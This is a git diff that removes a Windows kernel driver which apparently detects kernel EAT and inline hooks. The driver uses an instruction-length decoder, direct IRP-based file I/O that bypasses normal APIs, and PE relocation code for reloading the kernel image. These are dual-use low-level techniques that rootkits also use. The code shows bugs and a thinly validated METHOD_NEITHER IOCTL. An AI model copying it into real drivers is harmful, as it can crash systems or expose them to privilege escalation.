- (*cPtr == 0xF0) || (*cPtr == 0xF2) || (*cPtr == 0xF3) ||
- (*cPtr == 0x66) || (*cPtr == 0x67))
- {
- if (*cPtr == 0x66) PFX66 = TRUE;
- if (*cPtr == 0x67) PFX67 = TRUE;
- cPtr++;
- if (cPtr > (PUCHAR)Code + 16) return 0;
- }
- Opcode = *cPtr;
- if (pOpcode) *pOpcode = cPtr;
- if (*cPtr == 0x0F)
- {
- cPtr++;
- Flags = OpcodeFlagsExt[*cPtr];
- } else
- {
- Flags = OpcodeFlags[Opcode];
- if (Opcode >= 0xA0 && Opcode <= 0xA3) PFX66 = PFX67;
- }
- cPtr++;
- if (Flags & OP_WORD) cPtr++;
- if (Flags & OP_MODRM)
- {
- iMod = *cPtr >> 6;
- iReg = (*cPtr & 0x38) >> 3;
- iRM = *cPtr & 7;
- cPtr++;
-
- if ((Opcode == 0xF6) && !iReg) Flags |= OP_DATA_I8;
- if ((Opcode == 0xF7) && !iReg) Flags |= OP_DATA_PRE66_67;
-
- SibPresent = !PFX67 & (iRM == 4);
- switch (iMod)
- {
- case 0:
- if ( PFX67 && (iRM == 6)) OffsetSize = 2;
- if (!PFX67 && (iRM == 5)) OffsetSize = 4;
- break;
- case 1: OffsetSize = 1;
- break;
- case 2: if (PFX67) OffsetSize = 2; else OffsetSize = 4;
- break;
- case 3: SibPresent = FALSE;
- }
- if (SibPresent)
- {
- if (((*cPtr & 7) == 5) && ( (!iMod) || (iMod == 2) )) OffsetSize = 4;
- cPtr++;
- }
- cPtr = (PUCHAR)(ULONG)cPtr + OffsetSize;
- }
-
- if (Flags & OP_DATA_I8) cPtr ++;
- if (Flags & OP_DATA_I16) cPtr += 2;
- if (Flags & OP_DATA_I32) cPtr += 4;
- if (PFX66) Add = 2;
- else Add = 4;
- if (Flags & OP_DATA_PRE66_67) cPtr += Add;
- return (ULONG)cPtr - (ULONG)Code;
-}
-
-
-BOOL IsAddressInSystem(ULONG ulDriverBase,ULONG *ulSysModuleBase,ULONG *ulSize,char *lpszSysModuleImage)
-{
- NTSTATUS status;
- ULONG NeededSize,i;
- PMODULES pModuleList;
- BOOL bRet = FALSE;
- BOOL bInit = FALSE;
-
- if (ZwQuerySystemInformation &&
- ExAllocatePool &&
- ExFreePool)
- {
- bInit = TRUE;
- }
- if (!bInit)
- return FALSE;
-
- __try
- {
- status=ZwQuerySystemInformation(
- SystemModuleInformation,
- NULL,
- 0,
- &NeededSize);
- if (status!=STATUS_INFO_LENGTH_MISMATCH)
- {
- //KdPrint(("ZwQuerySystemInformation failed:%d",RtlNtStatusToDosError(status)));
- return bRet;
- }
- pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,NeededSize);
- if (pModuleList)
- {
- status=ZwQuerySystemInformation(
- SystemModuleInformation,
- pModuleList,
- NeededSize,
- &NeededSize);
-
- if (NT_SUCCESS(status))
- {
- for (i=0;iulCount;i++)
- {
- if (ulDriverBase > pModuleList->smi[i].Base && ulDriverBase < pModuleList->smi[i].Base + pModuleList->smi[i].Size)
- {
- bRet = TRUE;
- __try
- {
- *ulSysModuleBase = pModuleList->smi[i].Base;
- *ulSize = pModuleList->smi[i].Size;
- memset(lpszSysModuleImage,0,sizeof(lpszSysModuleImage));
- strcat(lpszSysModuleImage,pModuleList->smi[i].ImageName);
-
- }__except(EXCEPTION_EXECUTE_HANDLER){
-
- }
- break;
- }
- }
- }
- //else
- // KdPrint(("@@ZwQuerySystemInformation failed:%d",RtlNtStatusToDosError(status)));
-
- ExFreePool(pModuleList);
- pModuleList = NULL;
- }
- //else
- // KdPrint(("ExAllocatePool failed"));
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
- }
- if (pModuleList)
- ExFreePool(pModuleList);
-
- return bRet;
-}
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h
deleted file mode 100644
index 980573a4..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h
+++ /dev/null
@@ -1,31 +0,0 @@
-#include "DriverEntry.h"
-#include
-
-typedef unsigned long DWORD;
-typedef void *HANDLE;
-typedef unsigned char BOOL, *PBOOL;
-#define SEC_IMAGE 0x01000000
-
-NTSYSAPI
- PIMAGE_NT_HEADERS
- NTAPI
- RtlImageNtHeader(PVOID Base);
-
-NTSTATUS
- MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL,
- OUT PVOID *BaseAddress,
- OUT PSIZE_T ViewSize OPTIONAL);
-
- LONG GetSSDTApiFunctionIndexFromNtdll(char* szFindFunctionName);
- BOOL IsAddressInSystem(ULONG ulDriverBase,ULONG *ulSysModuleBase,ULONG *ulSize,char *lpszSysModuleImage);
-#define OP_NONE 0x00
-#define OP_MODRM 0x01
-#define OP_DATA_I8 0x02
-#define OP_DATA_I16 0x04
-#define OP_DATA_I32 0x08
-#define OP_DATA_PRE66_67 0x10
-#define OP_WORD 0x20
-#define OP_REL32 0x40
-
-unsigned long __fastcall GetFunctionCodeSize(void *Proc);
- unsigned long __fastcall SizeOfCode(void *Code, unsigned char **pOpcode);
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c
deleted file mode 100644
index 782e4d79..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c
+++ /dev/null
@@ -1,136 +0,0 @@
-
-
-#include "DriverEntry.h"
-#include "KernelHookCheck.h"
-#include "Reload.h"
-
-
-NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
-{
- ULONG ImageBase = 0;
- NTSTATUS Status = STATUS_SUCCESS;
- UNICODE_STRING uniDeviceName;
- UNICODE_STRING uniLinkName;
- PDEVICE_OBJECT DeviceObject = NULL;
- ULONG_PTR i = 0;
-
- RtlInitUnicodeString(&uniDeviceName,DEVICE_NAME);
- RtlInitUnicodeString(&uniLinkName,LINK_NAME);
-
- for (i=0;iMajorFunction[i] = DefaultPassThrough;
- }
-
- DriverObject->DriverUnload = UnloadDriver;
- DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlPassThrough;
-
- //豸
- Status = IoCreateDevice(DriverObject,0,&uniDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject);
- if (!NT_SUCCESS(Status))
- {
- return Status;
- }
-
- Status = IoCreateSymbolicLink(&uniLinkName,&uniDeviceName);
- if (!NT_SUCCESS(Status))
- {
- IoDeleteDevice(DeviceObject);
- return Status;
- }
-
- //PINLINEHOOKINFO InlineHookInfo ;
- //InlineHookInfo = ExAllocatePool(1,sizeof(INLINEHOOKINFO)+0x1000*sizeof(INLINEHOOKINFO_INFORMATION));
- //memset(InlineHookInfo,0,sizeof(INLINEHOOKINFO)+0x1000*sizeof(INLINEHOOKINFO_INFORMATION));
- //DriverObject->DriverUnload = UnloadDriver;
-
- ReLoadNtos(DriverObject,ImageBase);
- //KernelHookCheck(InlineHookInfo);
- return STATUS_SUCCESS;
-}
-
-
-NTSTATUS
- ControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)
-{
- NTSTATUS Status = STATUS_SUCCESS;
- PIO_STACK_LOCATION IrpSp;
- PVOID InputBuffer = NULL;
- PVOID OutputBuffer = NULL;
- ULONG_PTR InputSize = 0;
- ULONG_PTR OutputSize = 0;
- ULONG_PTR IoControlCode = 0;
- IrpSp = IoGetCurrentIrpStackLocation(Irp);
- InputBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
- OutputBuffer = Irp->UserBuffer;
- InputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
- OutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;
- IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
-
- switch(IoControlCode)
- {
- case CTL_CHECKKERNELMODULE:
- {
- if (!MmIsAddressValid(OutputBuffer))
- {
- Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;
- Irp->IoStatus.Information = 0;
- break;
- }
- __try
- {
- ProbeForWrite(OutputBuffer,OutputSize,sizeof(PVOID));
- Status = KernelHookCheck((PINLINEHOOKINFO)OutputBuffer);
- Irp->IoStatus.Information = 0;
- Status = Irp->IoStatus.Status = Status;
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
- Irp->IoStatus.Information = 0;
- Status = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;
- }
- Irp->IoStatus.Information = 0;
- Status = Irp->IoStatus.Status = Status;
- break;
- }
- default:
- {
- Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;
- Irp->IoStatus.Information = 0;
- break;
- }
- }
- IoCompleteRequest(Irp,IO_NO_INCREMENT);
- return Status;
-}
-
-
-NTSTATUS
- DefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)
-{
- Irp->IoStatus.Information = 0;
- Irp->IoStatus.Status = STATUS_SUCCESS;
- IoCompleteRequest(Irp,IO_NO_INCREMENT);
- return STATUS_SUCCESS;
-}
-
-VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
-{
- UNICODE_STRING uniLinkName;
- PDEVICE_OBJECT CurrentDeviceObject;
- PDEVICE_OBJECT NextDeviceObject;
- RtlInitUnicodeString(&uniLinkName,LINK_NAME);
- IoDeleteSymbolicLink(&uniLinkName);
- if (DriverObject->DeviceObject!=NULL)
- {
- CurrentDeviceObject = DriverObject->DeviceObject;
- while(CurrentDeviceObject!=NULL)
- {
- NextDeviceObject = CurrentDeviceObject->NextDevice;
- IoDeleteDevice(CurrentDeviceObject);
- CurrentDeviceObject = NextDeviceObject;
- }
- }
- DbgPrint("UnloadDriver\r\n");
-}
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h
deleted file mode 100644
index fe20112b..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h
+++ /dev/null
@@ -1,35 +0,0 @@
-#include
-#include
-#pragma once
-
-
-#define DEVICE_NAME L"\\Device\\CheckKernelHookDeviceName"
-#define LINK_NAME L"\\DosDevices\\CheckKernelHookLinkName"
-#define CTL_CHECKKERNELMODULE \
- CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS)
-
-
-NTSTATUS
- DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath);
-VOID UnloadDriver(PDRIVER_OBJECT DriverObject);
-NTSTATUS
- DefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);
-NTSTATUS
- ControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);
-
-typedef struct _INLINEHOOKINFO_INFORMATION { //INLINEHOOKINFO_INFORMATION
- ULONG ulHookType;
- ULONG ulMemoryFunctionBase; //ԭʼַ
- ULONG ulMemoryHookBase; //HOOK ַ
- CHAR lpszFunction[256];
- CHAR lpszHookModuleImage[256];
- ULONG ulHookModuleBase;
- ULONG ulHookModuleSize;
-
-} INLINEHOOKINFO_INFORMATION, *PINLINEHOOKINFO_INFORMATION;
-
-typedef struct _INLINEHOOKINFO { //InlineHook
- ULONG ulCount;
- INLINEHOOKINFO_INFORMATION InlineHook[1];
-} INLINEHOOKINFO, *PINLINEHOOKINFO;
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c
deleted file mode 100644
index b72a2e41..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c
+++ /dev/null
@@ -1,306 +0,0 @@
-#include "FileSystem.h"
-
-
-
-
-/*ļ൱ԼʵIoCreateFile FileObjectеIrpListѭָ*/
-NTSTATUS
- IrpCreateFile(
- IN PUNICODE_STRING FilePath,
- IN ACCESS_MASK DesiredAccess,
- IN ULONG FileAttributes,
- IN ULONG ShareAccess,
- IN ULONG CreateDisposition,
- IN ULONG CreateOptions,
- IN PDEVICE_OBJECT DeviceObject,
- IN PDEVICE_OBJECT RealDevice,
- OUT PFILE_OBJECT *FileObject
- )
-{
- NTSTATUS ntStatus;
-
- HANDLE hFile;
- PFILE_OBJECT _FileObject;
- UNICODE_STRING UniDeviceNameString;
- OBJECT_ATTRIBUTES ObjectAttributes;
- IO_STATUS_BLOCK IoStatusBlock;
- WCHAR *FileNameBuffer=NULL;
- WORD FileObjectSize;
-
-
- PIRP Irp;
- KEVENT kEvent;
- PIO_STACK_LOCATION IrpSp;
- ACCESS_STATE AccessState;
- AUX_ACCESS_DATA AuxData;
- IO_SECURITY_CONTEXT SecurityContext;
-
- PLIST_ENTRY IrpList;
-
- InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_CASE_INSENSITIVE, 0, NULL);
-
- //in win7 x86
- FileObjectSize=0x80;
-
-
- //ļ
- ntStatus = ObCreateObject(KernelMode,
- *IoFileObjectType,
- &ObjectAttributes,
- KernelMode,
- NULL,
- FileObjectSize,
- 0,
- 0,
- &_FileObject);
-
- if(!NT_SUCCESS(ntStatus))
- {
- return ntStatus;
- }
-
- Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE); //Irpջڴռ СΪ֮ǰѯDeviceObject->Size
- if(Irp == NULL)
- {
- ObDereferenceObject(_FileObject);
- return STATUS_INSUFFICIENT_RESOURCES;
- }
-
- KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);
-
- RtlZeroMemory(_FileObject, FileObjectSize);
- _FileObject->Type = IO_TYPE_FILE; //ļ
- _FileObject->Size = FileObjectSize; //ļС
- _FileObject->DeviceObject = RealDevice; //ѯľ豸
- _FileObject->Flags = FO_SYNCHRONOUS_IO;
- FileNameBuffer=ExAllocatePool(NonPagedPool,FilePath->MaximumLength);
- if (FileNameBuffer==NULL)
- {
- ObDereferenceObject(_FileObject);
- return STATUS_INSUFFICIENT_RESOURCES;
- }
- RtlCopyMemory(FileNameBuffer,FilePath->Buffer,FilePath->Length);//ļеļ·
- _FileObject->FileName.Buffer=FileNameBuffer; //
- _FileObject->FileName.Length=FilePath->Length;
- _FileObject->FileName.MaximumLength=FilePath->MaximumLength;
-
-
- IrpList=(PLIST_ENTRY)((DWORD)FileObject+0x74); //IrpList ѭָ
- IrpList->Flink=IrpList;
- IrpList->Blink=IrpList;
-
- KeInitializeEvent(&_FileObject->Lock, SynchronizationEvent, FALSE);
- KeInitializeEvent(&_FileObject->Event, NotificationEvent, FALSE);
-
- RtlZeroMemory(&AuxData, sizeof(AUX_ACCESS_DATA));
- ntStatus = SeCreateAccessState( &AccessState, //Ȩ
- &AuxData,
- DesiredAccess,
- IoGetFileObjectGenericMapping());
-
- if (!NT_SUCCESS(ntStatus))
- {
- IoFreeIrp(Irp);
- ObDereferenceObject(_FileObject);
- ExFreePool(FileNameBuffer);
- return ntStatus;
- }
-
- SecurityContext.SecurityQos = NULL;
- SecurityContext.AccessState = &AccessState;
- SecurityContext.DesiredAccess = DesiredAccess;
- SecurityContext.FullCreateOptions = 0;
-
- Irp->MdlAddress = NULL;
- Irp->AssociatedIrp.SystemBuffer = NULL;
- Irp->Flags = IRP_CREATE_OPERATION|IRP_SYNCHRONOUS_API;
- Irp->RequestorMode = KernelMode;
- Irp->UserIosb = &IoStatusBlock;
- Irp->UserEvent = &kEvent;
- Irp->PendingReturned = FALSE;
- Irp->Cancel = FALSE;
- Irp->CancelRoutine = NULL;
- Irp->Tail.Overlay.Thread = PsGetCurrentThread();
- Irp->Tail.Overlay.AuxiliaryBuffer = NULL;
- Irp->Tail.Overlay.OriginalFileObject = _FileObject;
-
- IrpSp = IoGetNextIrpStackLocation(Irp);
- IrpSp->MajorFunction = IRP_MJ_CREATE;
- IrpSp->DeviceObject = DeviceObject;
- IrpSp->FileObject = _FileObject;
- IrpSp->Parameters.Create.SecurityContext = &SecurityContext;
- IrpSp->Parameters.Create.Options = (CreateDisposition << 24) | CreateOptions;
- IrpSp->Parameters.Create.FileAttributes = (USHORT)FileAttributes;
- IrpSp->Parameters.Create.ShareAccess = (USHORT)ShareAccess;
- IrpSp->Parameters.Create.EaLength = 0;
-
- IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);
- ntStatus = IoCallDriver(DeviceObject, Irp);
- if(ntStatus == STATUS_PENDING)
- KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);
-
- ntStatus = IoStatusBlock.Status;
-
- if(!NT_SUCCESS(ntStatus))
- {
- _FileObject->DeviceObject = NULL;
- ObDereferenceObject(_FileObject);
-
- }
- else
- {//ü
- InterlockedIncrement(&_FileObject->DeviceObject->ReferenceCount);
- if (_FileObject->Vpb)
- InterlockedIncrement(&_FileObject->Vpb->ReferenceCount);
- *FileObject = _FileObject;
- }
-
-
- return ntStatus;
-}
-
-
-
-
-NTSTATUS
- IoCompletionRoutine(
- IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,
- IN PVOID Context)
-{
- *Irp->UserIosb = Irp->IoStatus;
- if (Irp->UserEvent)
- KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
- if (Irp->MdlAddress)
- {
- IoFreeMdl(Irp->MdlAddress);
- Irp->MdlAddress = NULL;
- }
- IoFreeIrp(Irp);
- return STATUS_MORE_PROCESSING_REQUIRED;
-}
-
-
-
-
-//ѯirpջϢFileObject
-NTSTATUS
- IrpQueryInformationFile(
- IN PFILE_OBJECT FileObject,
- IN PDEVICE_OBJECT DeviceObject,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass)
-{
- NTSTATUS ntStatus;
- PIRP Irp;
- KEVENT kEvent;
- PIO_STACK_LOCATION IrpSp;
- IO_STATUS_BLOCK IoStatusBlock;
-
- // if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL)
- // return STATUS_UNSUCCESSFUL;
-
- Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);
- if(Irp == NULL)
- return STATUS_INSUFFICIENT_RESOURCES;
-
- KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);
-
- RtlZeroMemory(FileInformation, Length);
- Irp->AssociatedIrp.SystemBuffer = FileInformation;
- Irp->UserEvent = &kEvent;
- Irp->UserIosb = &IoStatusBlock;
- Irp->RequestorMode = KernelMode;
- Irp->Tail.Overlay.Thread = PsGetCurrentThread();
- Irp->Tail.Overlay.OriginalFileObject = FileObject;
-
- IrpSp = IoGetNextIrpStackLocation(Irp);
- IrpSp->MajorFunction = IRP_MJ_QUERY_INFORMATION;
- IrpSp->DeviceObject = DeviceObject;
- IrpSp->FileObject = FileObject;
- IrpSp->Parameters.QueryFile.Length = Length;
- IrpSp->Parameters.QueryFile.FileInformationClass = FileInformationClass;
-
- IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);
- ntStatus = IoCallDriver(DeviceObject, Irp);
-
- if (ntStatus == STATUS_PENDING)
- KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);
-
- return IoStatusBlock.Status;
-}
-
-
-
-//Irpļ뻺
-NTSTATUS
- IrpReadFile(
- IN PFILE_OBJECT FileObject,
- IN PDEVICE_OBJECT DeviceObject,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN PLARGE_INTEGER ByteOffset OPTIONAL)
-{
- NTSTATUS ntStatus;
- PIRP Irp;
- KEVENT kEvent;
- PIO_STACK_LOCATION IrpSp;
- //
-
-
- if(ByteOffset == NULL)
- {
- if(!(FileObject->Flags & FO_SYNCHRONOUS_IO))
- return STATUS_INVALID_PARAMETER;
- ByteOffset = &FileObject->CurrentByteOffset;
- }
-
- Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);
- if(Irp == NULL) return STATUS_INSUFFICIENT_RESOURCES;
-
- RtlZeroMemory(Buffer, Length);
- if(FileObject->DeviceObject->Flags & DO_BUFFERED_IO) //巽ʽ
- {
- Irp->AssociatedIrp.SystemBuffer = Buffer;
- }
- else if(FileObject->DeviceObject->Flags & DO_DIRECT_IO) //ֱӷʽ
- {
- Irp->MdlAddress = IoAllocateMdl(Buffer, Length, 0, 0, 0);
- if (Irp->MdlAddress == NULL)
- {
- IoFreeIrp(Irp);
- return STATUS_INSUFFICIENT_RESOURCES;
- }
- MmBuildMdlForNonPagedPool(Irp->MdlAddress);
- }
- else //ʽ
- {
- Irp->UserBuffer = Buffer;
- }
-
- KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);
-
- Irp->UserEvent = &kEvent;
- Irp->UserIosb = IoStatusBlock;
- Irp->RequestorMode = KernelMode;
- Irp->Flags = IRP_READ_OPERATION;
- Irp->Tail.Overlay.Thread = PsGetCurrentThread();
- Irp->Tail.Overlay.OriginalFileObject = FileObject;
-
- IrpSp = IoGetNextIrpStackLocation(Irp);
- IrpSp->MajorFunction = IRP_MJ_READ;
- IrpSp->MinorFunction = IRP_MN_NORMAL;
- IrpSp->DeviceObject = DeviceObject;
- IrpSp->FileObject = FileObject;
- IrpSp->Parameters.Read.Length = Length;
- IrpSp->Parameters.Read.ByteOffset = *ByteOffset;
-
- IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);
- ntStatus = IoCallDriver(DeviceObject, Irp);
- if (ntStatus == STATUS_PENDING)
- KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);
-
- return IoStatusBlock->Status;
-}
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h
deleted file mode 100644
index 5e7fa31d..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.h
+++ /dev/null
@@ -1,42 +0,0 @@
-#include "Reload.h"
-
-
-
-
-NTSTATUS
- IrpCreateFile(
- IN PUNICODE_STRING FilePath,
- IN ACCESS_MASK DesiredAccess,
- IN ULONG FileAttributes,
- IN ULONG ShareAccess,
- IN ULONG CreateDisposition,
- IN ULONG CreateOptions,
- IN PDEVICE_OBJECT DeviceObject,
- IN PDEVICE_OBJECT RealDevice,
- OUT PFILE_OBJECT *FileObject
- );
-NTSTATUS
- IoCompletionRoutine(
- IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,
- IN PVOID Context);
-
-
-NTSTATUS
- IrpQueryInformationFile(
- IN PFILE_OBJECT FileObject,
- IN PDEVICE_OBJECT DeviceObject,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass);
-
-
-//Irpļ뻺
-NTSTATUS
- IrpReadFile(
- IN PFILE_OBJECT FileObject,
- IN PDEVICE_OBJECT DeviceObject,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN PLARGE_INTEGER ByteOffset OPTIONAL);
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c
deleted file mode 100644
index 779be30d..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.c
+++ /dev/null
@@ -1,461 +0,0 @@
-#include "FixRelocation.h"
-
-
-
-/*
-ضλ
-*/
-BOOLEAN
- FixBaseRelocTable (
- PVOID NewImageBase,
- DWORD ExistImageBase
- )
-{
- LONGLONG Diff;
- ULONG TotalCountBytes = 0;
- ULONG_PTR VA;
- ULONGLONG OriginalImageBase;
- ULONG SizeOfBlock;
- PUCHAR FixupVA;
- USHORT Offset;
- PUSHORT NextOffset = NULL;
- PIMAGE_NT_HEADERS NtHeaders;
- PIMAGE_BASE_RELOCATION NextBlock;
-
-
- NtHeaders = RtlImageNtHeader( NewImageBase );
- if (NtHeaders == NULL)
- {
- return FALSE;
- }
-
- switch (NtHeaders->OptionalHeader.Magic) {
-
- case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
-
- OriginalImageBase =
- ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase;
- break;
-
- case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
-
- OriginalImageBase =
- ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase;
- break;
-
- default:
- return FALSE;
- }
-
- //
- // Locate the relocation section.
- //
-
- NextBlock = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(
- NewImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &TotalCountBytes);
-
- //
- // It is possible for a file to have no relocations, but the relocations
- // must not have been stripped.
- //
-
- if (!NextBlock || !TotalCountBytes)
- {
-
- if (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)
- {
- DbgPrint("Image can't be relocated, no fixup information.\n");
- return FALSE;
-
- }
- else
- {
- return TRUE;
- }
-
- }
-
- //
- // If the image has a relocation table, then apply the specified fixup
- // information to the image.
- //
- Diff = (ULONG_PTR)ExistImageBase - OriginalImageBase;
- while (TotalCountBytes)
- {
- SizeOfBlock = NextBlock->SizeOfBlock;
- TotalCountBytes -= SizeOfBlock;
- SizeOfBlock -= sizeof(IMAGE_BASE_RELOCATION);
- SizeOfBlock /= sizeof(USHORT);
- NextOffset = (PUSHORT)((PCHAR)NextBlock + sizeof(IMAGE_BASE_RELOCATION));
-
- VA = (ULONG_PTR)NewImageBase + NextBlock->VirtualAddress;
-
- if ( !(NextBlock = LdrProcessRelocationBlockLongLong( VA,
- SizeOfBlock,
- NextOffset,
- Diff)) )
- {
-
- DbgPrint("%s: Unknown base relocation type\n");
- return FALSE;
-
- }
- }
-
- return TRUE;
-}
-
-
-
-/*ضλ*/
-PIMAGE_BASE_RELOCATION
- LdrProcessRelocationBlockLongLong(
- IN ULONG_PTR VA,
- IN ULONG SizeOfBlock,
- IN PUSHORT NextOffset,
- IN LONGLONG Diff
- )
-{
- PUCHAR FixupVA;
- USHORT Offset;
- LONG Temp;
- ULONG Temp32;
- ULONGLONG Value64;
- LONGLONG Temp64;
-
-
-
- while (SizeOfBlock--) {
-
- Offset = *NextOffset & (USHORT)0xfff;
- FixupVA = (PUCHAR)(VA + Offset);
-
- //
- // Apply the fixups.
- //
-
- switch ((*NextOffset) >> 12) {
-
- case IMAGE_REL_BASED_HIGHLOW :
- //
- // HighLow - (32-bits) relocate the high and low half
- // of an address.
- //
- *(LONG UNALIGNED *)FixupVA += (ULONG) Diff;
- break;
-
- case IMAGE_REL_BASED_HIGH :
- //
- // High - (16-bits) relocate the high half of an address.
- //
- Temp = *(PUSHORT)FixupVA << 16;
- Temp += (ULONG) Diff;
- *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);
- break;
-
- case IMAGE_REL_BASED_HIGHADJ :
- //
- // Adjust high - (16-bits) relocate the high half of an
- // address and adjust for sign extension of low half.
- //
-
- //
- // If the address has already been relocated then don't
- // process it again now or information will be lost.
- //
- if (Offset & LDRP_RELOCATION_FINAL) {
- ++NextOffset;
- --SizeOfBlock;
- break;
- }
-
- Temp = *(PUSHORT)FixupVA << 16;
- ++NextOffset;
- --SizeOfBlock;
- Temp += (LONG)(*(PSHORT)NextOffset);
- Temp += (ULONG) Diff;
- Temp += 0x8000;
- *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);
-
- break;
-
- case IMAGE_REL_BASED_LOW :
- //
- // Low - (16-bit) relocate the low half of an address.
- //
- Temp = *(PSHORT)FixupVA;
- Temp += (ULONG) Diff;
- *(PUSHORT)FixupVA = (USHORT)Temp;
- break;
-
- case IMAGE_REL_BASED_IA64_IMM64:
-
- //
- // Align it to bundle address before fixing up the
- // 64-bit immediate value of the movl instruction.
- //
-
- FixupVA = (PUCHAR)((ULONG_PTR)FixupVA & ~(15));
- Value64 = (ULONGLONG)0;
-
- //
- // Extract the lower 32 bits of IMM64 from bundle
- //
-
-
- EXT_IMM64(Value64,
- (PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X,
- EMARCH_ENC_I17_IMM7B_SIZE_X,
- EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM7B_VAL_POS_X);
- EXT_IMM64(Value64,
- (PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X,
- EMARCH_ENC_I17_IMM9D_SIZE_X,
- EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM9D_VAL_POS_X);
- EXT_IMM64(Value64,
- (PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X,
- EMARCH_ENC_I17_IMM5C_SIZE_X,
- EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM5C_VAL_POS_X);
- EXT_IMM64(Value64,
- (PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X,
